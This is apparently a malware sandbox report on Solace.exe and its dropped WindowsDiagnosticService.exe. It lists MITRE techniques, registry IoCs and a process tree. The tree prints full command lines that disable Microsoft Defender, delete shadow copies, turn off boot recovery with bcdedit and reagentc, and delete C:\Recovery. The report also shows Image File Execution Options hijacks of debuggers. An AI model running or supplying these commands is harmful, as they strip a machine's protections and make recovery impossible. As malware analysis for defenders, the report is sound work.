1726cb7826ca3687d4e8f20d28cff02a34dbc6500ada6bd62217620603137443

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	WindowsDiagnosticService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	WindowsDiagnosticService.exe

UAC bypass 3 TTPs 6 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WindowsDiagnosticService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WindowsDiagnosticService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WindowsDiagnosticService.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 24 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2436	bcdedit.exe
1860	bcdedit.exe
2284	bcdedit.exe
1836	bcdedit.exe
2904	bcdedit.exe
3120	bcdedit.exe
1352	bcdedit.exe
4408	bcdedit.exe
1308	bcdedit.exe
4396	bcdedit.exe
1724	bcdedit.exe
332	bcdedit.exe
3172	bcdedit.exe
3584	bcdedit.exe
2888	bcdedit.exe
3784	bcdedit.exe
3460	bcdedit.exe
744	bcdedit.exe
728	bcdedit.exe
2128	bcdedit.exe
2072	bcdedit.exe
4880	bcdedit.exe
3444	bcdedit.exe
436	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 20 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4404	powershell.exe
4764	powershell.exe
1964	powershell.exe
2096	powershell.exe
4680	powershell.exe
2436	powershell.exe
1604	powershell.exe
2280	powershell.exe
1356	powershell.exe
1952	powershell.exe
4016	powershell.exe
4312	powershell.exe
800	powershell.exe
3836	powershell.exe
5112	powershell.exe
4324	powershell.exe
3340	powershell.exe
5076	powershell.exe
4144	powershell.exe
4964	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 6 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
4964	powershell.exe
800	powershell.exe
1604	powershell.exe
3836	powershell.exe
5112	powershell.exe
1356	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 56 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe	WindowsDiagnosticService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\WindowsDiagnosticService.exe"	WindowsDiagnosticService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe	Solace.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Solace.exe"	Solace.exe

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
320	takeown.exe
116	icacls.exe
412	icacls.exe
2388	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	WindowsDiagnosticService.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	Solace.exe

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

Disable or Modify Tools

pid	Process
1952	powershell.exe
4016	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
4612	WindowsDiagnosticService.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
320	takeown.exe
116	icacls.exe
412	icacls.exe
2388	icacls.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WindowsDiagnosticService.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3616	sc.exe
4964	sc.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4364	cmd.exe
4304	cmd.exe
2208	cmd.exe
4692	cmd.exe
4524	cmd.exe
1868	cmd.exe
2744	cmd.exe
2236	cmd.exe
2172	cmd.exe
1604	cmd.exe
4488	cmd.exe
4196	cmd.exe
2804	cmd.exe
4824	cmd.exe
212	cmd.exe
4976	cmd.exe
976	cmd.exe
3408	cmd.exe
1080	cmd.exe
5104	cmd.exe
3740	cmd.exe
4912	cmd.exe
3800	cmd.exe
208	cmd.exe
4392	cmd.exe

Kills process with taskkill 8 IoCs

pid	Process
5024	taskkill.exe
2388	taskkill.exe
408	taskkill.exe
2844	taskkill.exe
5056	taskkill.exe
4680	taskkill.exe
1536	taskkill.exe
4828	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4128	Solace.exe
4128	Solace.exe
4404	powershell.exe
4404	powershell.exe
4764	powershell.exe
4764	powershell.exe
4612	WindowsDiagnosticService.exe
4612	WindowsDiagnosticService.exe
1964	powershell.exe
1964	powershell.exe
2096	powershell.exe
2096	powershell.exe
2436	powershell.exe
2436	powershell.exe
4964	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4128	Solace.exe
Token: SeIncreaseQuotaPrivilege	4520	wmic.exe
Token: SeSecurityPrivilege	4520	wmic.exe
Token: SeTakeOwnershipPrivilege	4520	wmic.exe
Token: SeLoadDriverPrivilege	4520	wmic.exe
Token: SeSystemProfilePrivilege	4520	wmic.exe
Token: SeSystemtimePrivilege	4520	wmic.exe
Token: SeProfSingleProcessPrivilege	4520	wmic.exe
Token: SeIncBasePriorityPrivilege	4520	wmic.exe
Token: SeCreatePagefilePrivilege	4520	wmic.exe
Token: SeBackupPrivilege	4520	wmic.exe
Token: SeRestorePrivilege	4520	wmic.exe
Token: SeShutdownPrivilege	4520	wmic.exe
Token: SeDebugPrivilege	4520	wmic.exe
Token: SeSystemEnvironmentPrivilege	4520	wmic.exe
Token: SeRemoteShutdownPrivilege	4520	wmic.exe
Token: SeUndockPrivilege	4520	wmic.exe
Token: SeManageVolumePrivilege	4520	wmic.exe
Token: 33	4520	wmic.exe
Token: 34	4520	wmic.exe
Token: 35	4520	wmic.exe
Token: 36	4520	wmic.exe
Token: SeIncreaseQuotaPrivilege	4520	wmic.exe
Token: SeSecurityPrivilege	4520	wmic.exe
Token: SeTakeOwnershipPrivilege	4520	wmic.exe
Token: SeLoadDriverPrivilege	4520	wmic.exe
Token: SeSystemProfilePrivilege	4520	wmic.exe
Token: SeSystemtimePrivilege	4520	wmic.exe
Token: SeProfSingleProcessPrivilege	4520	wmic.exe
Token: SeIncBasePriorityPrivilege	4520	wmic.exe
Token: SeCreatePagefilePrivilege	4520	wmic.exe
Token: SeBackupPrivilege	4520	wmic.exe
Token: SeRestorePrivilege	4520	wmic.exe
Token: SeShutdownPrivilege	4520	wmic.exe
Token: SeDebugPrivilege	4520	wmic.exe
Token: SeSystemEnvironmentPrivilege	4520	wmic.exe
Token: SeRemoteShutdownPrivilege	4520	wmic.exe
Token: SeUndockPrivilege	4520	wmic.exe
Token: SeManageVolumePrivilege	4520	wmic.exe
Token: 33	4520	wmic.exe
Token: 34	4520	wmic.exe
Token: 35	4520	wmic.exe
Token: 36	4520	wmic.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4764	powershell.exe
Token: SeIncreaseQuotaPrivilege	4612	WindowsDiagnosticService.exe
Token: SeIncreaseQuotaPrivilege	4692	wmic.exe
Token: SeSecurityPrivilege	4692	wmic.exe
Token: SeTakeOwnershipPrivilege	4692	wmic.exe
Token: SeLoadDriverPrivilege	4692	wmic.exe
Token: SeSystemProfilePrivilege	4692	wmic.exe
Token: SeSystemtimePrivilege	4692	wmic.exe
Token: SeProfSingleProcessPrivilege	4692	wmic.exe
Token: SeIncBasePriorityPrivilege	4692	wmic.exe
Token: SeCreatePagefilePrivilege	4692	wmic.exe
Token: SeBackupPrivilege	4692	wmic.exe
Token: SeRestorePrivilege	4692	wmic.exe
Token: SeShutdownPrivilege	4692	wmic.exe
Token: SeDebugPrivilege	4692	wmic.exe
Token: SeSystemEnvironmentPrivilege	4692	wmic.exe
Token: SeRemoteShutdownPrivilege	4692	wmic.exe
Token: SeUndockPrivilege	4692	wmic.exe
Token: SeManageVolumePrivilege	4692	wmic.exe
Token: 33	4692	wmic.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4128 wrote to memory of 4520	4128	Solace.exe	84
PID 4128 wrote to memory of 4404	4128	Solace.exe	117
PID 4128 wrote to memory of 4764	4128	Solace.exe	89
PID 4128 wrote to memory of 4680	4128	Solace.exe	138
PID 4612 wrote to memory of 4692	4612	WindowsDiagnosticService.exe	95
PID 4612 wrote to memory of 1964	4612	WindowsDiagnosticService.exe	97
PID 4612 wrote to memory of 2096	4612	WindowsDiagnosticService.exe	257
PID 4612 wrote to memory of 2436	4612	WindowsDiagnosticService.exe	179
PID 4612 wrote to memory of 4964	4612	WindowsDiagnosticService.exe	191

System policy modification 1 TTPs 6 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Solace.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WindowsDiagnosticService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WindowsDiagnosticService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WindowsDiagnosticService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Solace.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Solace.exe
"C:\Users\Admin\AppData\Local\Temp\Solace.exe"
1⤵
- Modifies Windows Defender notification settings
- UAC bypass
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4128
- C:\Windows\System32\Wbem\wmic.exe
  wmic shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\Solace.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:3836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:5112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  PID:1356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -EnableControlledFolderAccess Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -PUAProtection Disabled"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -SubmitSamplesConsent 2"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables automatic submission of suspicious files to Microsoft by Windows Defender
  PID:4016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -MAPSReporting 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM MsMpEng.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4196
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM MsMpEng.exe
    3⤵
    - Kills process with taskkill
    PID:4828
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SecurityHealthService.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2804
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecurityHealthService.exe
    3⤵
    - Kills process with taskkill
    PID:5024
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM NisSrv.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4692
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM NisSrv.exe
    3⤵
    - Kills process with taskkill
    PID:2388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SgrmBroker.exe 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:208
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SgrmBroker.exe
    3⤵
    - Kills process with taskkill
    PID:408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop WinDefend /y 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1868
- - C:\Windows\system32\net.exe
    net stop WinDefend /y
    3⤵
    PID:4200
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:2096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5104
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4964
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c reagentc /disable 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4976
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:4236
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1352
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1308
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /deletevalue {current} recoverysequence 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3740
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {current} recoverysequence
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:332
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {globalsettings} advancedbootoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3172
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {globalsettings} optionsedit No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3584
- C:\Windows\SYSTEM32\bcdedit.exe
  bcdedit /set {bootmgr} timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2888
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c chkntfs /x C: 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c takeown /f C:\Recovery /r /d y 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c icacls C:\Recovery /grant %username%:F /t 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c rd /s /q C:\Recovery 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2236
